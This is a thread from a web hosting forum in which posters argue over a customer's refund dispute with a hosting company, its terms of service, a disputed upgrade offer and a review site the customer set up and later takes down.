He was offered a FREE VPS Upgrade that he has since said would have been the ideal solution, that or a dedicated server as he is on now. However as we all know these options are somewhat more costly. He was also offered the option to be moved to a different server. Again, total refusal. It is evident that the only thing on Williams mind right from the onset was to try his best to minipulate hios way to a refund - Who knows, maybe this is as simple as find a cheaper host and regretting signing for a year. Lets face it, how many times have we all regretted something, by commiting ourselves to an agreement, only to find an alternative that we feel would have suited us better further down the line.





In principle, this is the very reason, contracts exsist - to contract obligations, and have a clear definition to both parties what those terms are. NOT HAPPY - DONT SIGN!






Nether the less, under totally different circumstances SydneyJen, I would agree 100% as I am sure Innohosting would do, but with the denading and agressive stance William took right from the onset, he made himself his own worse enemy.





So fantastic opinion, and I am not saying wrong - after all it is your opinion :)




But alas it wouldnt change my mindset or way of thinking.







Regards


HostRevolutions

William,

before I begin my post, I have to stress that I am in no way related to Innohosting, Rameen, Chris, HostRevolutions or for that matter anyone who has contributed to this thread. :)

My view on this is that, you should just quit promoting Innohosting. You will not get a refund by posting 'hate' thread in every forum you can get your hands on or by actually registering a domain to post your anger/hate.

As might have been mentioned by someone here, you were offered free upgrade which to me sounds as good as a refund (in a way). Why I say this, well, it is already stated in their TOS (which you obviously didn't read and something that not many would have read) that NO refund for partial use of hosting services. That means by giving you a free upgrade would have meant going out of their way to keep you, hopefully, as a happy customer. Obviously that didn't work. And instead what they get is negative threads and site(s) about them, or to the opinion of the marketing people, free publicity.

My opinion is that you should just move on and not to promote them any further. And the more 'hate' posts/threads/sites may just get you a nice letter from their attorney. Life sucks and bad luck happens every now and then. Take this as a lesson for not reading a TOS and move on to the next host (which you obviously have).

I do hope that, should anything goes wrong with the service LW is providing you, you do not start another hate thread of LW in any forum. LW is already a known company, they do not anymore free publicity/advertisement :)

Best of luck with LW and your hosting journey. You are bound to meet a few more "bad" host.

Bravo - I have to stand up and applaude that post Roi.

Regards,
Hostrevolutions

"The end result, the posts and hate campaign had begun, ask yourself, would you give a refund to a man who lies and smears your good name?"

He only began his hate and smear campaign after he was refused a refund, so its not about giving somebody a refund who lies and smears your good name.

Life isn't fair William, much less fair in the business world where its all about making a quick buck at anyone's expense. I was feeling sympathetic to your cause when Innohosting would not give you a refund for unused time, but now you're losing my sympathy with your vendetta against them and that site you set up with their domain name. Whether you think they deserve it or not stop what you are doing and move on with your sites and your life and you will be a happier person for it. You come across as an angry person who won't let go and that is overshadowing your unfortunate situation at Innohosting. I do know how you feel, I lost all of my customers last month on varhosting, but I moved on with a new reseller account. Hold your head high William and go forward, don't look back. People will respect you more for it.

William,

before I begin my post, I have to stress that I am in no way related to Innohosting, Rameen, Chris, HostRevolutions or for that matter anyone who has contributed to this thread. :)

My view on this is that, you should just quit promoting Innohosting. You will not get a refund by posting 'hate' thread in every forum you can get your hands on or by actually registering a domain to post your anger/hate.

As might have been mentioned by someone here, you were offered free upgrade which to me sounds as good as a refund (in a way). Why I say this, well, it is already stated in their TOS (which you obviously didn't read and something that not many would have read) that NO refund for partial use of hosting services. That means by giving you a free upgrade would have meant going out of their way to keep you, hopefully, as a happy customer. Obviously that didn't work. And instead what they get is negative threads and site(s) about them, or to the opinion of the marketing people, free publicity.

My opinion is that you should just move on and not to promote them any further. And the more 'hate' posts/threads/sites may just get you a nice letter from their attorney. Life sucks and bad luck happens every now and then. Take this as a lesson for not reading a TOS and move on to the next host (which you obviously have).

I do hope that, should anything goes wrong with the service LW is providing you, you do not start another hate thread of LW in any forum. LW is already a known company, they do not anymore free publicity/advertisement :)

Best of luck with LW and your hosting journey. You are bound to meet a few more "bad" host.

Couldn't have been said any better than that! Fully agree 110%!!

My view on this is that, you should just quit promoting Innohosting. You will not get a refund by posting 'hate' thread in every forum you can get your hands on or by actually registering a domain to post your anger/hate. If my review is promoting them, then why are they and everyone else that is bias towards them, wanting me to stop? I wasn't really going to create the site to begin with but Rameen encouraged me to create a site stating it would only help them (read the ticket), so I did. It was never in Rameen's plan to refund anything to us. I asked politely and he immediately stated I would not get a refund. He could have cared less what kind of service we had experienced. You are not thoroughly reading the tickets. It's all right there... clear as can be.



As might have been mentioned by someone here, you were offered free upgrade which to me sounds as good as a refund (in a way).
Again, as might have been mentioned by me previously and as is documented in the ticket, there was no free upgrade offered. You are repeating a lie by Rameen that you obviously haven't even bothered to verify. Read the ticket... to have a managed VPS would have cost me $25+ more per month than what I was paying. Plus... PLUS.... why would I stay with someone who 1... cannot protect my account ... 2... has already caused us more problems than anyone in there right mind would have put up with.


Why I say this, well, it is already stated in their TOS (which you obviously didn't read and something that not many would have read) that NO refund for partial use of hosting services. That means by giving you a free upgrade would have meant going out of their way to keep you, hopefully, as a happy customer. Obviously that didn't work. And instead what they get is negative threads and site(s) about them, or to the opinion of the marketing people, free publicity. Ditto what I've already said...

Your post was more ignorant than anything else... you, like a few others, have totally ignored the truth about the matter by not fully reading all the facts.

But hey, those looking on that are seriously looking for hosting and take the time to really look at the review and the supporting tickets, will see the truth.

Now, if all this helps Innohosting like several of you say it does, what's the big deal? You don't want me to help them anymore?

Is Rameens partner up there still posting all that bologna? :rolleyes:

William,

If my review is promoting them, then why are they and everyone else that is bias towards them, wanting me to stop? I wasn't really going to create the site to begin with but Rameen encouraged me to create a site stating it would only help them (read the ticket), so I did. It was never in Rameen's plan to refund anything to us. I asked politely and he immediately stated I would not get a refund. He could have cared less what kind of service we had experienced. You are not thoroughly reading the tickets. It's all right there... clear as can be.

Its not about reading tickets throughly or not but anything, almost anything, posted here on WHT (especially bad reviews) are always his words her words. It is difficult to really say person A is right or wrong. Sure you or Rameen may have been posting tickets as evidence/proof but unless we get access to the actual support desk where your words and his words are in black and white, I can only view this thread from a neutral point of view and use my experience and common sense to judge.

In one of the post, you were accused of "editing" the tickets you posted here in WHT. Now, I am not saying that his accusation was right or wrong, but that just proves my point above about how no one is right or wrong.


Again, as might have been mentioned by me previously and as is documented in the ticket, there was no free upgrade offered. You are repeating a lie by Rameen that you obviously haven't even bothered to verify.

Again, lie or no lie, it is your words against his. Would a person accused or murdering someone agrees to the accusation without a fight? As I have said, I can only judge based on personal experience and common sense.


Read the ticket... to have a managed VPS would have cost me $25+ more per month than what I was paying.

I do not have to read your tickets or Rameen's reply to be able to tell you to just move on and stop this nonsense. You are getting nowhere by posting here or WHT etc. Except maybe a letter from Innohosthing's attorneys for, I think some would say slander?


... PLUS.... why would I stay with someone who 1... cannot protect my account ... 2... has already caused us more problems than anyone in there right mind would have put up with.

No one, and I repeat, No one is telling you to stay. Besides you did mention that you are already with LW, so why not move on? I am not sure how old you are or whether you have ever had a any kind of relationship with the opposite sex. But the norm is that once you end a relationship due to problems that cannot be solved, you move on and find the next partner. Would anyone expect their ex-partner to go and post a one page adverts in the local newspaper and talk the bad stuff that their ex did to them? most likely NO. People just move on and get on with life.





Ditto what I've already said...

Your post was more ignorant than anything else... you, like a few others, have totally ignored the truth about the matter by not fully reading all the facts.


I am not sure about others but I certainly have not totally ignored the truth. I have just viewed this post from a neutral point of view and using personal experience and commonsense to judge (as I have mentioned a few lines up from here)




But hey, those looking on that are seriously looking for hosting and take the time to really look at the review and the supporting tickets, will see the truth.

It is impossible to review the supporting tickets as none of us except Innohosting and you (if they have not disabled your account). So it is, for me anyway, to say who is right or wrong.

Yes, shoppers will see the truth but only from communicating direct to Innohosting and from experiencing the service themselves.



Now, if all this helps Innohosting like several of you say it does, what's the big deal? You don't want me to help them anymore?


I am not sure about the others, but I sure don't really care whether you are helping Innohosting or not as I do not benefit from them being successful or not. I was merely trying to help you get over it. The fact is you are not happy with their service and you are not getting a refund regardless of what you do(as you admitted earlier). So instead of wasting your time posting reviews about Innohosting, you should instead work with LW to make sure there will not be future miscommunication and spend some time reading their SLA/AUP/TOS :)

Is Rameens partner up there still posting all that bologna? :rolleyes:

Not sure who are you referring to :confused:


note: Thank you William...I think this is the first time I have made such a long post ;) Would like to dedicate this post to you :banana:

I still say that those who read the review and tickets thoroughly, will quickly learn the truth about Innohosting. Those who only read part of it will make unreasonable and uninformed comments, as we have clearly seen already by a couple of people. (One being Rameens buddy posting all the bologna.)

It is definitely about the documented tickets which clearly show the unethical decision of not refunding us, regardless of TOS. For the money we paid, they were suppose to provide a legitimate service... they failed miserably. Facts are facts.

If you read, you will learn that I posted a link to one of the tickets to prove there was no editing. The link went directly to the ticket hosted on Innohostings site. I know of quite a few people who actually viewed it. The link worked for a while, then Innohosting deleted the ticket. Why? Because it clearly proved Rameen was not truthful and it clearly proved I did not edit the ticket. Rameen refused to continue to allow access to any of the tickets although I clearly approved of it on my end. Why did he refuse? Because he knows that what I posted is accurate. However, I did capture a screen shot of the ticket he accused me of editing and still provide a link to it... it's pretty clear it was not edited by me and again it clearly proves Rameen was not truthful. I have eyewitnesses who have seen this ticket as well as the others and we all took screen shots for future proof in case we need it. Believe me, we have done our homework. I don't think it would be hard for anyone that is not already biased for one reason or another to figure this out... and clearly see what's going on.

Now, as to slander... very difficult to prove to start with... and very costly. However, as stated previously, he encouraged us to host a review site, now he's gonna cry slander? He clearly threatens our site and he's gonna cry slander? There is no slander with the proven truth. If a judge would even look at it, he would laugh and say settle this piddly stuff between yourself. I can assure you, we have a much better case against Innohosting and mounds of witnesses as far as downtime proof and as far as viewing the real tickets. It would be no problem getting plenty of affidavits and at least two physical witnesses. But as the bologna guy said, I wasn't born yesterday, it would cost both of us more than it's worth. However, I'm prepared extremely well if need be.

No one, and I repeat, No one is telling you to stay.

Quite the contrary... you and several others have suggested I should have stayed and took the supposedly free upgrade....

As might have been mentioned by someone here, you were offered free upgrade which to me sounds as good as a refund (in a way).

In order to take advantage of a supposedly free (in reality not free) upgrade, what would I have to do? Duh... STAY!

My response was in reference to these comments about the supposedly free (but in reality not free) statements, including yours.

I did my homework with LiquidWeb and I'm paying monthly as well. However, I'm fairly confident they are for real and know what they are doing... unlike some wannabes out there.

Some of you will be happy that I have decided to take the Innohosting.info website down. It's really not worth my time and resources to manage it.

They got us, it was an expensive lesson... sobeit.

This will either make Innohosting better... or if they continue as they did with us, they'll ultimately dig their own grave.

Either way, I'm done with it.

Quite the contrary... you and several others have suggested I should have stayed and took the supposedly free upgrade....

I have suggested that you should have stayed. I and maybe others as well, would not have told you to stay. Which means my statement was right " no one is telling you to stay " :)


Some of you will be happy that I have decided to take the Innohosting.info website down. It's really not worth my time and resources to manage it.

Good to see that you have come to your senses that putting up such a site will get you nowhere except letters from the attorney's office.



They got us, it was an expensive lesson... sobeit.

Lesson for the day is to never pay yearly for hosting.



This will either make Innohosting better... or if they continue as they did with us, they'll ultimately dig their own grave.

I am not sure if this incident will make them any better or worst but it may give them ideas of how to handle different types of customers.

Either way, I'm done with it.

Well done. This should have been your line since page one :)

I am glad to see that you have come to your senses and move on. Best of luck with LW. Keep us posted with this new journey.

I am not sure if this incident will make them any better or worst but it may give them ideas of how to handle different types of customers.

Every negative review about a company (especially one so big) should help the company focus on efforts to correct any future issues. I am sure innohosting.com has learned a thing or two, and the customer is wiser.

I must say, I think it's awfully off-putting for representatives of a hosting company to be arguing about details. Fact is, the customer's account of this incident leaves some holes. But the fact that the representatives of this host are doing everything they can to refute the account just says to me that they are desperate to discount the customer.

Advice to hosts: simply stand by your service. "Clearly, we had some disputes with this customer. We will refund this customer's unearned payment and both go our seperate ways. We stand by our service and dissatisfaction guarantee, and look forward to welcoming many new clients to our servers!" There, done. See how non-desperate that sounds?

Advice to hosts: simply stand by your service.

This has been proven in this case by TOS/AUP